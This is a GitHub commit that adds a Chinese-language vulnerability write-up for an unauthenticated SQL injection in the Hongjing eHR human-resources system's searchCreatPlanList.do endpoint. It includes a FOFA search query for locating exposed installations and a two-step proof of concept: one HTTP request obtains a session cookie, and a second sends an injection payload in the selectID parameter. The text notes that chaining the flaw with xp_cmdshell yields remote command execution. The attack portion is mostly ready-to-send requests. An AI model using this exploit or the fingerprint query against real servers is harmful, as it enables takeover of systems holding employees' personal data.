Create 宏景eHR人力资源管理系统接口searchCreatPlanList存在SQL注入漏洞.md

This commit is contained in:
Rainyseason 2025-04-21 10:07:48 +08:00 committed by GitHub
parent 85449f065c
commit 07fc752841
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -0,0 +1,29 @@
# 宏景eHR人力资源管理系统接口searchCreatPlanList存在SQL注入漏洞
宏景eHR searchCreatPlanList.do接口处存在sql注入漏洞未经身份验证的远程攻击者通过利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令从而控制服务器。经过分析与研判该漏洞利用难度低建议尽快修复。
## fofa
```
app="HJSOFT-HCM"
```
## poc
第一步:获取cookie
```yaml
GET /templates/index/getpassword.jsp HTTP/1.1
Host:
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
```
第二步:携带cookie访问
```yaml
GET /train/plan/searchCreatPlanList.do?b_selectPlan=query&selectID=1'%2B(1-@@VERSION)%2B')--+ HTTP/1.1
Host:
Cookie: JSESSIONID=D3D69E3D8D5CD86DC4B10E91CD2062AB
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
```
![image](https://github.com/user-attachments/assets/25d41e1f-69b3-4694-b3ba-1abeba156a3c)